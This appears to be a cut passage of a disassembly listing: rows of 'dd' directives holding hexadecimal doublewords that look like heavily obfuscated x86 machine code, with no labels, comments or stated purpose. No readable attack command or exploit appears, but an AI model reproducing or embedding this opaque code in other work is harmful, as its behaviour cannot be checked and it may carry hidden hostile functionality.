		dd 0BFC1BF0Fh, 6060DB93h, 0D5BD50B9h, 0D2BF0F45h, 803BC180h
		dd 0BE96DF1h, 31000000h, 4D932A03h, 0AB548F81h,	0CF81F77Ch
		dd 6890B547h, 0E856C080h, 0Ah, 0AD4FDFE9h, 0AECF6CAAh
		dd 0F78BBAACh, 0C136B95Ah, 8B6631C6h, 0D38BF5C8h, 547680BFh
		dd 76BF6615h, 0C78B66D0h, 1682BA57h, 0F5F0267h,	58Fh, 23C5BF00h
		dd 10E972D4h, 58000000h, 42971A69h, 378950C6h, 632C14Eh
		dd 0E992438Ah, 11h, 1B97B99Eh, 36742749h, 5A825259h, 1F29EF09h
		dd 0A5D280D9h, 116EDDB9h, 73BB6668h, 0CF8B66D5h, 0E9C1BF0Fh
		dd 5, 0B6C6106Eh, 0BE9DAh, 0FF650000h, 0E94A85DFh, 0C12607D6h
		dd 5880F5Ah, 0BE000000h, 56DB7F48h, 72EBE981h, 0A1BA45A6h
		dd 501EA575h, 66535FF9h, 5894B0BBh, 10E8h, 45C5C100h, 0DF9FD5Fh
		dd 0C0BAB666h, 9F8C5D36h, 0CF8A6053h, 5E616160h, 56DBE980h
		dd 810Fh, 815F0000h, 0FF8798D2h, 0D68B662Bh, 7850Fh, 8E0F0000h
		dd 1, 3800FF5h,	80000000h, 0F2BB8FCCh, 663C485Ah, 8BBCE1B9h
		dd 0E9FE8BC6h, 9, 96AF9FB8h, 2E61D955h,	0E9D78BBFh, 9
		dd 0EEE48CF4h, 0FACF1892h, 50F98B97h, 59C6BF0Fh, 12840F51h
		dd 0E8000000h, 0Ch, 97424EE6h, 760CD07Ah, 0DEC991A9h, 0BE8595Ah
		dd 71000000h, 311A5BABh, 547F0BFFh, 8166141Bh, 5E960DEBh
		dd 2FD08166h, 0B70F575Dh, 0B70F58CEh, 0E7BF66FFh, 19810F47h
		dd 51000000h, 12E9h, 0E8E70700h, 5105E75Ah, 3D30DF44h
		dd 65D6C7E9h, 5A220E7Fh, 816612B0h, 0FE98ED3h, 0D88AF3B7h
		dd 0FFBB70Fh, 52B6DAB7h, 0FCB8B66h, 481h, 0BDBF6600h, 5957F81Bh
		dd 0C477B866h, 89D98166h, 0C9B70F39h, 0BE95750h, 0F6000000h
		dd 31C0EB71h, 0D0037725h, 5858261Fh, 38B0Fh, 0BF0F0000h
		dd 6E9F2h, 0B8CD0000h, 53755C4Eh, 683232BFh, 0E4EA8107h
		dd 8A0723F4h, 5756B3D3h, 0F51B35Bh, 89h, 0AE96000h, 41000000h
		dd 6DBC213Eh, 0F4E52270h, 76ADB98Fh, 666123D2h,	11CBD981h
		dd 0DE9h, 0C2050E00h, 89315C2Ah, 0E9BBADC6h, 7E91485h
		dd 0C8000000h, 0A1769463h, 11E88FD6h, 0F1000000h, 0CCE47AD3h
		dd 6AFE421Fh, 980A467h,	3792C7B5h, 8B5AC28Ah, 5FFC51C3h
		dd 6820Fh, 0E9810000h, 542A1463h, 0CBBF0F60h, 840Fh, 0F610000h
		dd 0A8Fh, 5E900h, 0BD6C0000h, 0E9045A9Fh, 0Ch, 74B40530h
		dd 699149EDh, 2E687471h, 66FE8B66h, 4DB8DE81h, 925DB9F9h
		dd 9E973E3h, 92000000h,	30BB0EB6h, 8CCCA319h, 5C14D281h
		dd 0F18A0C33h, 39D68166h, 0BF6656CFh, 0F5B5551h, 288h
		dd 0F536B200h, 18B0FF5h, 0F8000000h, 5810Fh, 81660000h
		dd 0E9A654E8h, 13h, 0DF0CC76Fh,	0ED4D2748h, 0E9CFDD88h
		dd 2903DE61h, 609A33ABh, 6860Fh, 8D0F0000h, 0
		dd 0F1F58060h, 61C88B66h, 0CFB1F561h, 18C0F60h,	0F9000000h
		dd 0EE86061h, 29000000h, 69C59DB1h, 46807B6Dh, 1B65EA77h
		dd 29D6B827h, 61586ED0h, 6E9h, 0DE090B00h, 66F8B33Bh, 4C48C181h
		dd 10C9BFBAh, 800FF56Bh, 3, 66DAB70Fh, 81B4B0BBh, 9D0444DFh
		dd 0EE824h, 5B0000h, 0F0C91B17h, 0B6F82430h, 7AD692D4h
		dd 58CBB70Fh, 0F8CB8B66h, 10E8h, 92881C00h, 0D49D6662h
		dd 0E15EED33h, 0D794C217h, 0AD82B8F5h, 0F5A36ECh, 0D8Ah
		dd 8E900h, 0FFF80000h, 23E896C8h, 5056D9DFh, 49C08166h
		dd 0F5A5EF8h, 0BB66D2BFh, 12B87C5Eh, 803040D9h,	14E834F6h
		dd 47000000h, 925069DEh, 3FEA119Ah, 7118D484h, 0FC345675h
		dd 0F7B9719h, 580h, 925ABB00h, 8B5B0A2Bh, 14E8C7h, 1E380000h
		dd 34356E2Fh, 5FEB0615h, 79B4B803h, 0C8134DC5h,	0F60F9AAh
		dd 89h,	0E85B6100h, 0Bh, 0EC0A6EEAh, 6157FEF9h,	5960457Ch
		dd 10E9F38Bh, 9F000000h, 99314C08h, 0E877A46Ch,	0AFB9460Ah
		dd 6674D5C0h, 0BE51FE8Bh, 619D1CB9h, 12E95Eh, 0EDF90000h
		dd 0FA95B9BCh, 44483605h, 0B6BA3464h, 2E5AE966h, 10E9h
		dd 65DAE100h, 535FBBCBh, 6331D63Bh, 8733868Fh, 0C88B66ABh
		dd 644E12BBh, 0DB816662h, 0C0B64A0Fh, 2E1BB866h, 0EFB86650h
		dd 0FE9583Ah, 32000000h, 39585B51h, 7CF7F148h, 327B8703h
		dd 5E9FFE8h, 4D000000h,	1F8D7140h, 6860F50h, 0F000000h
		dd 8Dh,	0CE95900h, 3E000000h, 0F4CF924Fh, 982A6629h, 53242229h
		dd 6E9h, 534C2200h, 5A168316h, 0D1BA6660h, 61F18A27h, 0D1DB8166h
		dd 0C0BF0F4Fh, 0FFE8B66h, 582h,	0E2816600h, 0FC604C05h
		dd 8C72BA66h, 21F08061h, 0BE9h,	1305300h, 0EE524D4Ah, 64BA9230h
		dd 0FE8h, 0CFD3B400h, 8794328Fh, 931FA372h, 3588B510h
		dd 0E85ED88Ah, 12h, 3A683004h, 4A5E5454h, 0CAEC4D14h, 0CAE7C998h
		dd 0BE665C01h, 0F5A7DC8h, 0BA66C7B7h, 0BA50BA6Eh, 0DF805C3h
		dd 0E9D88B5Bh, 10h, 6B5CA403h, 3A32EDBFh, 2AAFC356h, 6D763887h
		dd 58E08166h, 14E954h, 0A0BD0000h, 7D81ABE7h, 0D3E7569h
		dd 50DF2465h, 0DFD7AE48h, 0DE9882Dh, 0D000000h,	3F2AF7FFh
		dd 0F87AEFC4h, 109B9ABCh, 0FD98B66h, 8166FFB7h,	81A48FDAh
		dd 17783DD6h, 0FA8B664Ch, 8B6637B7h, 11E9F2h, 75AA0000h
		dd 5F754031h, 0A43E7AADh, 473DEE69h, 6648A2FCh,	0E9D7D4BEh
		dd 0Eh,	20FC8D7Ch, 2C30881Ah, 584D4805h, 810FAB6Bh, 6
		dd 1EF1CA81h, 0F507600h, 0F5BD3B7h, 8B66CAB7h, 14E8FEh
		dd 6E5B0000h, 2BE079A9h, 7BFAAB2Ah, 0C10EDCE7h,	24ABDCF2h
		dd 665EA0D5h, 0EE8C18Bh, 2B000000h, 18ACB4BDh, 0A44A8ED9h
		dd 7FD81845h, 28E0FDBh,	8B000000h, 0F6BE5BF3h, 5075DEABh
		dd 5870Fh, 53B90000h, 5F6E29CCh, 0CE8h,	6313EE00h, 96D64631h
		dd 4C63807Eh, 0CA816682h, 0F59D9D3h, 181h, 4FB3F500h, 0B70F38B3h
		dd 0FD78BF1h, 0E880D1B7h, 11E8E5h, 6020000h, 4118C4DAh
		dd 8E37490Bh, 0A4DF258h, 5EAD3F09h, 2820Fh, 0DE8B0000h
		dd 9E9h, 0BADA3400h, 0F08DC89Ch, 8B52E634h, 816058FBh
		dd 7C6718C2h, 7E94Eh, 77310000h, 0D9C197EFh, 8C0F61B5h
		dd 3, 0E9DFB70Fh, 0Dh, 254CBCCAh, 0EA7B9F24h, 70028E81h
		dd 0C28B6641h, 0F9FA8B66h, 810Fh, 8F0F0000h, 5,	0B5D68166h
		dd 0E92BB70Dh, 11h, 0F30A0FCEh,	0C62914F6h, 47BAC7CDh
		dd 128D62A3h, 0AE9F8C6h, 0F8000000h, 3D07F3D1h,	0A9A7CDA6h
		dd 0CE8B6650h, 8A0Fh, 66F50000h, 3364DF81h, 0BF0F73B1h
		dd 569DB8F1h, 0F6BE7FD8h, 0E86B3637h, 0Eh, 0B2779E32h
		dd 3B6BC8DAh, 2D33948Eh, 6057E894h, 0BA5E5B61h,	66DE314Dh
		dd 2C9BF7BBh, 0CABE6667h, 50C3813Fh, 815B26C1h,	86000ED1h
		dd 6E914h, 0D53F0000h, 26C1FAC9h, 3F5FD781h, 0BA6662C2h
		dd 0E960E01Ch, 0Dh, 50C17CFDh, 399FB2FAh, 3660F7B5h, 2E40BFBDh
		dd 0F610411h, 588h, 0D3816600h,	8E9F12Ah, 72000000h, 659D1137h
		dd 0E8500FF4h, 7, 0B904F4BCh, 0E99DA60Dh, 0Fh, 0F819C7F2h
		dd 5CEA5CD5h, 4AC343F1h, 5B763347h, 0DE8h, 150C0500h, 84161AAEh
		dd 1819A7BDh, 8166D27Ch, 589930CEh, 168C0Fh, 0DE80000h
		dd 0DC000000h, 72AB6249h, 0E35EDFh, 0EC2AF2CFh,	59FAB70Fh
		dd 0A023B966h, 0FE8C28Bh, 0D7000000h, 0EA7C90FBh, 53B3847Ch
		dd 0FC76B90Fh, 0B25FCDC3h, 10E9BBh, 0F7000000h,	57F87BC5h
		dd 985B91ABh, 0FBFA2B50h, 8166D495h, 0FC54BE8h,	0C80h
		dd 5E95300h, 0B1000000h, 0BCEC1FD6h, 1B850F58h,	0F000000h
		dd 158Eh, 0FE800h, 89370000h, 919B619Ch, 55FFBBABh, 0E169E1F8h
		dd 0BF665FA8h, 0B70FD589h, 0CF8B66DFh, 14E9h, 0D6FC400h
		dd 10BDAF8Ch, 2ED978BFh, 3E994327h, 0CE2D9DC9h,	0DDCA802Eh
		dd 68C0Fh, 890F0000h, 0
		dd 60FEBF0Fh, 0E1816652h, 8A5826C3h, 5E961C2h, 0A2000000h
		dd 6505C374h, 57F88B66h, 0A62616BAh, 66575807h,	0BE5BD78Bh
		dd 16D27EEBh, 0F5AF857h, 0C880D7BFh, 0C2BF0F3Bh, 7D38B8BBh
		dd 10890F42h, 0E9000000h, 0Bh, 676DDD46h, 754C6C61h, 8B1694C3h
		dd 3830FFAh, 0F000000h,	12E8F7B7h, 26000000h, 274238Fh
		dd 8B27E64Eh, 0EEF8AC14h, 0EE00BC5Eh, 12E976h, 6B6E0000h
		dd 58164671h, 0AC76E9AAh, 71E17062h, 3344F57Ch,	3DF28159h
		dd 0E90D25CBh, 0Fh, 0B479E519h,	82E01A88h, 0A5B0F550h
		dd 0F53B38F2h, 13E9h, 17BEFE00h, 99F6AEB9h, 9CF85A6Bh
		dd 1EAC7286h, 172320BBh, 0C840FF8h, 0F000000h, 689h, 0CDEA8100h
		dd 0E9594190h, 11h, 9E521DAFh, 0BE5A9917h, 2012AF5Bh, 0F4904350h
		dd 80BA6688h, 0B70F50A0h, 0DE958FEh, 0E3000000h, 0B096C05Ah
		dd 0B150DE9Ch, 0CD887D86h, 9E8h, 4A8DAA00h, 3F67CBE1h
		dd 0BF0F78FBh, 0C38159FFh, 1FA3659Ch, 10E960h, 0CD590000h
		dd 0ABB1AF10h, 0C5923D1Bh, 50D648E8h, 0B9665AF9h, 0E8619B7Eh
		dd 0Ah,	76D8A93Fh, 0BB68F7CDh, 5AFC911Ah, 0DE8h, 0FA5C0500h
		dd 96802BE6h, 0F1D0F570h, 8B66706Fh, 0D68159CEh, 30123447h
		dd 56CDF381h, 0D98046A3h, 480DBE18h, 0BF0F0A5Bh, 8AD88BCFh
		dd 0D68166EAh, 0BF0FD49Dh, 6EF81DBh, 0E935FFFEh, 8, 62BCA0ECh
		dd 1AE1EB60h, 0FFA8B66h, 810FC9B7h, 3, 0E8CFBF0Fh, 0Bh
		dd 26C0CA44h, 0D114FE64h, 663AB217h, 8058F98Bh,	1DB8F2F7h
		dd 8160F38Eh, 0EE8FDD7h, 11E96Fh, 0DF570000h, 7FEDFAADh
		dd 279D4BC6h, 339AE408h, 0F71F3DBh, 587h, 62BABB00h, 806000BBh
		dd 0F48A73F7h, 0DAC18061h, 71D78060h, 87EB8153h, 5E61122Bh
		dd 0C1B70F61h, 0CE8DF8Bh, 77000000h, 0ECC34DF5h, 441BA4E0h
		dd 0FBFF389h, 28Ch, 5ED38B00h, 81665F56h, 0F7FE6F1h, 8B66F0BFh
		dd 816660FEh, 8BEE16DEh, 82B161F0h, 11E9h, 6B6C0600h, 0E519CA6Fh
		dd 1A88B479h, 0F55082E0h, 0CE8A5B0h, 27000000h,	76FEB642h
		dd 877A4C9Bh, 0F598FF48h, 7E958h, 579E0000h, 9E1C7181h
		dd 0EE939h, 0C6AE0000h,	93BCBFB4h, 9B6E3DFFh, 0DBA4A084h
		dd 870B43BFh, 1E68140h,	0F975941Ah, 8024B7FCh, 0E38059F1h
		dd 5FBEF86Eh, 662ED050h, 0DE8AD98Bh, 0AFF18166h, 58F0F0Dh
		dd 66000000h, 9E07CE81h, 18E180F9h, 8E860h, 42E10000h
		dd 0C3AF32A0h, 870F0196h, 0
		dd 6657615Fh, 0C1FAE081h, 0C0816658h, 5A56CF53h, 5840Fh
		dd 84BA0000h, 5332DEBEh, 5E8h, 341D7100h, 8B66C53Dh, 0FC5B5AC2h
		dd 0FCB8B66h, 483h, 69BB6600h, 7E95283h, 0D7000000h, 0AD8EB2A3h
		dd 605AD433h, 0FEECBA60h, 0D98B51D7h, 5E961h, 0A3550000h
		dd 61F9DC28h, 0C8F08166h, 0CDD5801Ch, 0A29ACA81h, 66602C85h
		dd 4A79E181h, 9714B966h, 6E961h, 3F4F0000h, 904B9B53h
		dd 11E960h, 37520000h, 1E2B24F1h, 0E6B0E0F8h, 3F103D61h
		dd 8B86B72Ah, 0FC5761C1h, 0C195BA5Ah, 8B665674h, 35CEB8C7h
		dd 13E820DAh, 0E1000000h, 96E7E567h, 0E6402C5Dh, 15E65CB1h
		dd 7EF2BBC0h, 0B70F7CC4h, 0DE95FF2h, 7B000000h,	95AAEC2Dh
		dd 0C0DEF6Dh, 0BEC0F29Dh, 4820Fh, 0B8660000h, 7CB8DE87h
		dd 0B54FFCB1h, 0E8D98168h, 57009EB9h, 38F0Fh, 8B660000h
		dd 0D5805EC3h, 14E93Dh,	30950000h, 12647A53h, 2A61FD17h
		dd 0C0ECA379h, 0F970EA68h, 8E8CB3Ah, 0A3000000h, 0AB9AAC8Eh
		dd 52FF270Ah, 850Fh, 595F0000h,	1B800Fh, 10E80000h, 47000000h
		dd 8B536F2Ah, 8AC4450h,	2A0B0CF3h, 6680C98Bh, 0AE63C281h
		dd 0EA81665Fh, 810FBFEFh, 4, 0E48EBB66h, 7B19E2B9h, 77B76004h
		dd 0AE9h, 91079700h, 5AB9ABFFh,	61AE06DEh, 0DE9h, 3B7C4F00h
		dd 4965D0C9h, 0DA1FD499h, 880F69B3h, 5,	63C78166h, 0C1B70F50h
		dd 10E9h, 234DD500h, 717F0EB2h,	34DAD632h, 0E49D3600h
		dd 0F58060D9h, 816660A7h, 0FC6577EBh, 92B86161h, 0E971B5DDh
		dd 9, 0AAC5C48Dh, 6196E3B4h, 0DEB70F0Dh, 9800Fh, 8C0F0000h
		dd 3, 0F19E880h, 282h, 0F80AB600h, 0F080C28Bh, 0A2BB666Fh
		dd 0FD88A5Eh, 382h, 5FDA8000h, 0B8B33CB9h, 60566026h, 870F5861h
		dd 5, 6F2A94BAh, 0B966610Ah, 16BB0DDAh,	666AE0F6h, 0DBC4E881h
		dd 58B0Fh, 81660000h, 66B465E7h, 14E9C68Bh, 1A000000h
		dd 9B4A9FEDh, 5B204320h, 8499279h, 0CE06FEC6h, 0E87C3611h
		dd 9, 0BA0D85C8h, 2A4D92F5h, 0EE81663Dh, 0B7588487h, 0FFD48093h
		dd 39E8F281h, 0AE82851h, 0D1000000h, 6BAF6AF6h,	83F32DE0h
		dd 59D38A5Dh, 810Fh, 0FE90000h,	8D000000h, 67CBE14Ah, 0E578FB3Fh
		dd 0EBF3652h, 0D281CA62h, 5CB0FD94h, 7E952h, 0FC3F0000h
		dd 2CB086FAh, 0F515A85h, 0F5AFBBFh, 687h, 800F00h, 0F000000h
		dd 278Ah, 0DE86000h, 84000000h,	0C421B6CFh, 0CEE992D9h
		dd 0A121DD32h, 0DE95Eh,	0CCA0000h, 0FB044ED0h, 0EE84894Fh
		dd 61C64472h, 38D0Fh, 0CE800000h, 0AE904h, 0C7970000h
		dd 0FE9D60A4h, 53B0B313h, 10E9h, 0C7DD1000h, 0C94F3B0Ah
		dd 44E1ED7Ch, 0D6B7FAEFh, 0B3DE8BD5h, 661EB487h, 0B19CB3B8h
		dd 0F5F88BB1h, 50E0EA80h, 0DCE7805Ah, 8E9DBB0h,	2A000000h
		dd 776F243h, 66E37B86h,	0E8110DBAh, 8, 59F744A9h, 74EEAE61h
		dd 0B2A024BBh, 76B45F2Bh, 5CC78166h, 6614B4CAh,	60CA92BFh
		dd 0F755BA66h, 0C096BF66h, 0BE86061h, 0A7000000h, 229DFC98h
		dd 15DBBD90h, 0DA81D363h, 30329DD0h, 9A93B958h,	0F613949h
		dd 1988h, 12E96000h, 55000000h,	7BED3Eh, 6E91F477h, 77A285C7h
		dd 23F8A7A6h, 7FB9616Fh, 0E97B2924h, 9,	862942Fh, 751E1ED9h
		dd 8152F94Dh, 0DC0EAFC0h, 0C0815F71h, 44B131B9h, 0C08166FCh
		dd 0E951920Eh, 8, 73830906h, 0A2F699CBh, 1A8A0F59h, 60000000h
		dd 10E8h, 5467DA00h, 4E331F03h,	0F45940A5h, 4E3F5443h
		dd 61605EF9h, 0FF86061h, 281h, 61C68B00h, 19830Fh, 0E8520000h
		dd 11h,	92422B98h, 38D464E4h, 6493F3BDh, 0DC32C795h, 0F5859EBh
		dd 18Fh, 0E5BEFC00h, 0E81E5C02h, 9, 142F24B5h, 0BF8BF90h
		dd 2EEF81B6h, 58789F7Bh, 0CE8h,	4FDA1300h, 0CFC41F7Eh
		dd 49D7C8F6h, 3840F1Bh,	66000000h, 0E85FD78Bh, 0Eh, 0B3062DC5h
		dd 0F1BC65D5h, 0D56564A3h, 3DB1ED87h, 0F0B70F59h, 0BE8F8h
		dd 7CB10000h, 0E8CA5CB5h, 0C3DBE3E7h, 59D08B62h, 0A8D0Fh
		dd 5E90000h, 39000000h,	0BB053120h, 8192C580h, 887633F0h
		dd 9E972h, 0B2D90000h, 9D6F14BCh, 6643DB63h, 0B964B5B9h
		dd 0FB5CA23h, 0FC1B70Fh, 8F0FF0B7h, 1, 0BE66F5F8h, 8E0F01C0h
		dd 7, 0CA816651h, 0F5F62F0h, 6651FAB7h,	8B5BC28Bh, 0AFCB81F2h
		dd 0F83537ECh, 0BF0FCB8Ah, 0C88B66CBh, 5850Fh, 81660000h
		dd 50BD39DEh, 89D9BB66h, 13E958h, 0D8E50000h, 2060B142h
		dd 1D987E5Eh, 1B998695h, 49E75E3Bh, 0E5CCB80Bh,	0BBF83999h
		dd 4BD3FD3Bh, 0EE9h, 92254A00h,	8DB2705Dh, 8C89C762h, 0F794F6Bh
		dd 8Eh,	0BE1EB200h, 1C95AE87h, 14E9F9F9h, 64000000h, 0A3713E91h
		dd 12F757E4h, 98CC4F18h, 0E492422Bh, 0FC38D464h, 5E8h
		dd 0CDAA5400h, 5E9F9E3h, 0B9000000h, 6410DC31h,	0E6BF665Fh
		dd 0BBD78AAEh, 4E6D2802h, 7E8h,	77093200h, 7332FC37h, 5D12CF81h
		dd 0E95A3BE7h, 10h, 9A727CB8h, 13EEC771h, 0D6463163h, 63807E96h
		dd 13E9h, 0B5774700h, 52DA5C65h, 632CE645h, 2CAD3158h
		dd 4D64CB70h, 0E96057FCh, 0Dh, 6B6AAABBh, 0C8D0361Dh, 59070F61h
		dd 800F91h, 61000000h, 9FB6605Ah, 0F7816650h, 6159ABDAh
		dd 91FCC081h, 80607F9Ah, 0C18B1FC7h, 0CE861h, 2A30000h
		dd 6B523873h, 44F8F265h, 0B70F6194h, 11E95FDFh,	55000000h
		dd 0BE280F7h, 0B3E57BB0h, 603A8CE2h, 71ACFBD3h,	31E1C981h
		dd 9DB03EF7h, 81BFC080h, 65DB0EC1h, 0DEC88052h,	0F9BE66F9h
		dd 0FE832h, 4BD70000h, 6DB7177Ch, 87983809h, 0DD14DA36h
		dd 0DE9E3h, 94DE0000h, 8D0BE5C3h, 6C85B121h, 59FBBDF0h
		dd 5E8D08Bh, 0FF000000h, 399CC110h, 7E9h, 0A54D000h, 0D1C3600Ah
		dd 0FE95Bh, 2E00000h, 589C2A82h, 797BA4C0h, 91DAF572h
		dd 0FBB70F54h, 12E8h, 2A0F200h,	0B2E211C2h, 0FF1B9D17h
		dd 488F45F5h, 5E4F7DF7h, 0AE9h,	0F331C600h, 65D7C4E7h
		dd 60CF65A6h, 80DBE66h,	61C7B70Fh, 80CA8B66h, 8D0F26C0h
		dd 1, 97BA66F9h, 14E971h, 0ED440000h, 2F3DC619h, 0F9A1857h
		dd 38DCD926h, 0FBE44775h, 11E95A6Fh, 4B000000h,	58DBBA33h
		dd 25079B9h, 630DA492h,	5011C08Bh, 0BEF88B66h, 48496FB2h
		dd 66F38B66h, 0C22FF681h, 8A33DA80h, 0DE852E5h,	24000000h
		dd 4E2D1D60h, 931BB17Fh, 0BDC99E2Ch, 80ABB866h,	0AE9595Bh
		dd 0E8000000h, 1132BAF8h, 60CA64B2h, 5360F883h,	0F5E6160h
		dd 688h, 13EE8100h, 614ED809h, 7E8DE8Bh, 42000000h, 0B9931663h
		dd 0EB42E32h, 0D88B665Fh, 880Fh, 0BF0F0000h, 0E98166D1h
		dd 6E98B12h, 15000000h,	38198781h, 0DF8B5788h, 0AABB6659h
		dd 17890F84h, 0E9000000h, 12h, 65609CD2h, 0A62CE19h, 7775E848h
		dd 0F3C49353h, 8A0F1388h, 1, 4BB866FCh,	0F605712h, 8Ah
		dd 1274BA00h, 5B616643h, 0C88BFC8Ah, 57D38166h,	0BF66FC96h
		dd 0BF66999Fh, 6E83A54h, 44000000h, 36BD8D6Fh, 9E930h
		dd 8A490000h, 845BDD3Ch, 5E894CE0h, 14E960h, 0A77D0000h
		dd 0A9C47159h, 835EAE7h, 580D03E2h, 8B79822Bh
		dd 0F617CF6h, 84h, 0AD19BA00h, 880F0BF1h, 0
		dd 44F38166h, 0F08AF9A0h, 0BF0F5E50h, 7E9FAh, 34E50000h
		dd 0FD125AC5h, 5DDBBCEh, 8E0F4BBAh, 6, 0C7D6E881h, 66F974A4h
		dd 0E781CA8Bh, 2FC1745Eh, 28F0Fh, 5F510000h, 0B7D0BF0Fh
		dd 0D88B6040h, 6850Fh, 800F0000h, 0
		dd 13E961h, 824F0000h, 6965B035h, 8C4520CDh, 566057E7h
		dd 93286029h, 51B0B24Bh, 28C0Fh, 5F530000h, 5E95Eh, 7D0E0000h
		dd 0B3A393C0h, 3BBB6025h, 8A4641BFh, 84BB61C8h,	666FB97Ah
		dd 0F834CA81h, 0B014BA66h, 9CEE8166h, 0F1816689h, 8B66B91Ch
		dd 7840FF0h, 0F000000h,	187h, 8B66FC00h, 0A06BBCAh, 0BB6652C7h
		dd 0BB66C422h, 58501B5Bh, 0B880Fh, 0F600000h, 0CE81CABFh
		dd 586D2EEAh, 6E861h, 0A0470000h, 7FD36481h, 5870Fh, 81660000h
		dd 5B99A6E0h, 0C850Fh, 7E90000h, 0A3000000h, 2EBAFC7Fh
		dd 666005C2h, 0AA6AC881h, 0AE9h, 98ABC000h, 2DD2E4C0h
		dd 612B82DDh, 0AE9h, 83871B00h,	13C19111h, 0BBF7D39Ch
		dd 45F8AE10h, 66C8B70Fh, 0E9B740BEh, 14h, 1473BE42h, 89E48D74h
		dd 31A3D53h, 0B935A505h, 4180ACFCh, 0F5A0B966h,	0CE950h
		dd 27BA0000h, 0D87DD66Fh, 0DE86C0EAh, 0E958959Ah, 0Eh
		dd 0F791CFF5h, 4BE4979Ch, 0D3DE31CBh, 0F60C7D9h, 388h
		dd 0CDC88000h, 0E2816661h, 0FB8B47E3h, 0E8D98B60h, 8, 0CAB4F3B0h
		dd 42704D50h, 615BFCB1h, 0FE951h, 0C3CD0000h, 4376166Ch
		dd 0BF017F5Eh, 3E7CA423h, 8C0F59B6h, 5,	4F5DCBEh, 0AE8FC3Bh
		dd 0A1000000h, 0FE73485Bh, 74DE9829h, 14E99Fh, 11970000h
		dd 0AE5C797Dh, 2AE9D643h, 0A23F58B1h, 5A10D239h, 66582D7Fh
		dd 0F5361BB9h, 850FFDB1h, 5, 0E6D78166h, 8B66603Dh, 0AE9DFh
		dd 0A66B0000h, 70F51053h, 988E779Ah, 0BE95361h,	0D2000000h
		dd 0DD1CA97h, 3C49CECEh, 815E020Ah, 6DC01E2h, 14A2BB4Ah
		dd 0F5052F6h, 28Ch, 5FAAB500h, 0EAE98166h, 880F84h, 0F8000000h
		dd 11E8h, 5A156000h, 7AF51282h,	180226B6h, 0A3EDD65Fh
		dd 0BA667740h, 815AFFF3h, 0E3A25FF3h, 0BA66F96Bh, 0CF81CFC9h
		dd 4195616Dh, 884F081h,	5060725Dh, 505B6160h, 61596160h
		dd 0EE96AB3h, 0F1000000h, 41C449A6h, 6B8553Fh, 0FBDE4950h
		dd 8E8F989h, 0FE000000h, 74DE9829h, 5AAC8B9Fh, 0BFDA8166h
		dd 0F860606Ah, 3820F61h, 0F000000h, 0F61D1B7h, 2786h, 14E800h
		dd 6CDD0000h, 1B4EB1A8h, 4ADFBE76h, 0DC5808DBh,	0BA8E8909h
		dd 8E9E468h, 1C000000h,	6096B030h, 5BFCC79Fh, 8E9h, 837FD000h
		dd 2FEFDF49h, 2AEE80E9h, 8E9h, 0BA29C000h, 0A7086049h
		dd 9E8BAh, 65790000h, 9215E8E8h, 66B9CFADh, 5A429BBEh
		dd 0C870Fh, 850F0000h, 6, 8C0Fh, 0CB800000h, 0CB8B66BAh
		dd 0B8B8CB8Bh, 8121DF5Fh, 317DB0E1h, 0F85F5031h, 0FD4C180h
		dd 0C781F3BFh, 3AEF0E5Dh, 601EB160h, 12E9h, 248D3400h
		dd 1A9F7D47h, 9B4A9FEDh, 5B204320h, 66499279h, 0FEB2F281h
		dd 0BB666161h, 0CE9C391h, 52000000h, 658F98B0h,	48C6EAAEh
		dd 0E9DCE0F4h, 13h, 0FAC1C6B5h,	24949989h, 7A1668ACh, 41E12049h
		dd 66B88632h, 0B9DCEF81h, 14870Fh, 860F0000h, 0Eh, 9E9h
		dd 6DE36100h, 9240181Dh, 0E85232EAh, 14h, 9AF4AA85h, 54839CE3h
		dd 15D734FFh, 380AB2C7h, 6C114463h, 0B1D2D981h,	585F4933h
		dd 8E0FE0B4h, 2, 6E9CE8Bh, 64000000h, 9868AE53h, 20800FD7h
		dd 60000000h, 5E9h, 0C443000h, 0FE9720Ah, 9C000000h, 5FF3A918h
		dd 0FBBCE79Bh, 9D788C7h, 6661C422h, 0B36397BFh,	8B66FC39h
		dd 0D28166CBh, 0F560AEDh, 689h,	840F00h, 5B000000h, 0F2B70F56h
		dd 8D0F535Fh, 3, 5FD68B66h, 42CFB866h, 0BE86056h, 2C000000h
		dd 325CBDC3h, 0DD0B1593h, 0F95B33C0h, 0DC8A5B61h, 13E8h
		dd 7E316B00h, 44386589h, 0A0690E54h, 7D014D13h,	918307E9h
		dd 59D88B66h, 93D98166h, 2840F2Bh, 0B5000000h, 73B8667Fh
		dd 50D88BC2h, 0B3CB8B60h, 8B5A617Dh, 0F6C781F3h, 66706CD7h
		dd 10E9F88Bh, 0B5000000h, 749EF1B1h, 7011E0DFh,	4AB55AA6h
		dd 0E997EA39h, 10h, 0F770C889h,	7C69335h, 3818A5D6h, 3DE78201h
		dd 0CE8F5h, 3F3E0000h, 4720BF88h, 5E569F69h, 0F78ABAD4h
		dd 0D2B70F58h, 0A02EBBh, 0DA816660h, 18BE2DEFh,	662897A5h
		dd 0E91180BEh, 11h, 5FB0A87h, 58555F6Dh, 0CD2A3DA3h, 8329CB63h
		dd 8B66F953h, 0C98166F8h, 0D78B7CA4h, 0F96EB966h, 1AADCA81h
		dd 0CB814028h, 14FFC26Ch, 5CD88166h, 0DF8B6036h, 0F5061F8h
		dd 183h, 0E858F800h, 12h, 6CD95650h, 5C87CEE4h,	8040B67Ch
		dd 8F5D0B95h, 0C1815850h, 34937B2Ch, 81E7815Ah,	0F24AD71h
		dd 583h, 0C0816600h, 5F564F88h,	3860F60h, 66000000h, 8C0FCF8Bh
		dd 0
		dd 97E08161h, 801A8FC0h, 0CE9D6CBh, 0F3000000h,	0AED9F8DDh
		dd 0BD9F56h, 81C2D319h,	9A5908E6h, 0E0D9B925h, 0D380456Fh
		dd 56F38106h, 0F34701Fh, 684h, 9CCB8100h, 664E9785h, 8E0FDF8Bh
		dd 1Eh,	188A0Fh, 12E80000h, 9F000000h, 43209B4Ah, 92795B20h
		dd 0FEC60849h, 3611CE06h, 7E8597Ch, 0BA000000h,	7E44EAF4h
		dd 805FDA26h, 0B866BACFh, 8A0F0C83h, 0
		dd 12E856h, 91210000h, 0C497EF1h, 0D23C3199h, 0C6B08035h
		dd 0F92816D6h, 8E8h, 0C3FB4800h, 2034BA42h, 5A5858A2h
		dd 27EDBB66h, 7BE98166h, 0BECF8BB8h, 6776E2C1h,	19BDBA66h
		dd 81F7BF0Fh, 4188F9D0h, 0E852B47Dh, 14h, 0A557D236h, 0A6F2134Fh
		dd 0CE97F6F4h, 3EC430D0h, 35F8F9CEh, 515FCB8Bh,	810F60h
